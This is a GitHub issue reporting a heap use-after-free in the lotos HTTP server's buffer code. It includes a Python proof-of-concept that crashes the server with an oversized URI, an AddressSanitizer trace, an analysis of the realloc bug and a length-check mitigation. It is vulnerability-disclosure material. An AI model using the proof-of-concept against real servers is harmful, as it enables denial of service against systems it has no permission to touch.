Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Use-After-Free in buffer_avail() through version 0.1.1 (commit 3eb36cc) #7

Open
Halcy0nic opened this issue Dec 28, 2023 · 0 comments

Comments

@Halcy0nic
Copy link

Hi!

After executing my fuzz tests I discovered a remote use-after-free vulnerability in static inline size_t buffer_avail(const buffer_t *pb) at buffer.h, line 25:

static inline size_t buffer_avail(const buffer_t *pb) { return pb->free; }

Any project that utilizes lotos (including the existing forks of this repo) are potentially vulnerable. Depending on the implementation, this can lead to undefined behavior, denial of service, or authentication bypass.

Makefile Modifications

The following modifications were made to the Makefile to compile lotos with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the use-after-free vulnerability:

CFLAGS=-std=c99 -Wall -O3 -DNDEBUG -DUSE_MEM_POOL=1 -fsanitize=address -g
OPTFLAGS=

OBJS=misc.o ssstr.o dict.o lotos_epoll.o buffer.o request.o response.o \
 connection.o http_parser.o server.o mem_pool.o main.o

lotos : $(OBJS)
	$(CC) $(CFLAGS) $^ -o $@ $(OPTFLAGS)

test :
	make -C ./test
	make test -C ./test

format :
	find . -iname '*.[ch]' -exec clang-format -i -style="{ColumnLimit: 80}" {} +

clean :
	rm -f *.o lotos

.PHONY : test clean format

Compiling Lotos

$ cd lotos/src/
$ make && make test

Proof of Concept Python3 Script

Save the following script to a file named poc.py. The script will send an HTTP request with a malformed URI to lotos and wait for a response. More specifically, the code will send an HTTP request with a URI containing 20,000 bytes:

#!/usr/bin/env python3

import socket


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8888))
sock.send(b"GET /"+b"?"*20000+b" HTTP/1.1\r\nHost:localhost:8001\r\n\r\n")
response = sock.recv(4096)
sock.close()

Starting Lotos

./lotos -r ../www

Executing our Python3 Script

# python3 poc.py

Address Sanitizer Output

The following output was produced by address sanitizer:

==415636==ERROR: AddressSanitizer: heap-use-after-free on address 0x625000002904 at pc 0x5585539a14ec bp 0x7ffc148a9370 sp 0x7ffc148a9368
READ of size 4 at 0x625000002904 thread T0                                                                                                                                      
    #0 0x5585539a14eb in buffer_avail /home/kali/projects/fuzzing/lotos/src/buffer.h:25
    #1 0x5585539a14eb in buffer_cat /home/kali/projects/fuzzing/lotos/src/buffer.c:44
    #2 0x5585539a1935 in request_recv /home/kali/projects/fuzzing/lotos/src/request.c:137
    #3 0x5585539a34f8 in request_handle /home/kali/projects/fuzzing/lotos/src/request.c:144
    #4 0x55855399fc4a in main /home/kali/projects/fuzzing/lotos/src/main.c:81
    #5 0x7fc8c68456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #6 0x7fc8c6845784 in __libc_start_main_impl ../csu/libc-start.c:360
    #7 0x55855399fe80 in _start (/home/kali/projects/fuzzing/lotos/src/lotos+0x6e80) (BuildId: f69cadb3b591a9b1911fbc4bf465035606fb00ae)

0x625000002904 is located 4 bytes inside of 8201-byte region [0x625000002900,0x625000004909)
freed by thread T0 here:                                                                                                                                                        
    #0 0x7fc8c6ad74b5 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
    #1 0x5585539a13f1 in buffer_cat /home/kali/projects/fuzzing/lotos/src/buffer.c:60

previously allocated by thread T0 here:
    #0 0x7fc8c6ad85bf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x5585539a11bd in buffer_new /home/kali/projects/fuzzing/lotos/src/buffer.c:10
    #2 0x5585539a11bd in buffer_init /home/kali/projects/fuzzing/lotos/src/buffer.c:7

SUMMARY: AddressSanitizer: heap-use-after-free /home/kali/projects/fuzzing/lotos/src/buffer.h:25 in buffer_avail
Shadow bytes around the buggy address:
  0x625000002680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x625000002700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x625000002780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x625000002800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x625000002880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x625000002900:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x625000002b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==415636==ABORTING

The error occurs in the buffer_avail function, which is called from buffer_cat in the buffer.c file. The problematic access occurs after a call to realloc in buffer_cat:

lotos/src/buffer.c

Lines 51 to 60 in 3eb36cc

/* realloc */
size_t cur_len = buffer_len(pb);
size_t new_len = cur_len + nbyte;
/* realloc strategy */
if (new_len < BUFFER_LIMIT)
new_len *= 2;
else
new_len += BUFFER_LIMIT;
npb = realloc(pb, sizeof(buffer_t) + new_len + 1);

When realloc is called, it may move the memory block to a new location if the new size cannot be accommodated in the existing space. This means the pointer to the buffer (buffer_t *pb) could become invalid if realloc moves the memory.

After reallocating, any existing pointers to the old memory location become invalid. If you try to use the old pointer (pb) without updating it to the new memory location returned by realloc it leads to undefined behavior, which is what AddressSanitizer is catching.

Mitigation

There are many moving pieces in this repo, but the following code added to request.c can mitigate this vulnerability. Ultimately to maintain the current functionality and prevent the use-after-free vulnerability, a check is added to line 130 in request.c so all requests greater than 5000 bytes are dropped:

Old Code in request.c, line 130:

if (len == ERROR) {

Updated Code in request.c, line 130:

if (len == ERROR || len>5000) {

The length of 5000 can be modified to meet your specific needs. Keep in mind, the use-after-free occurs at roughly 8154 bytes in the URI.

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant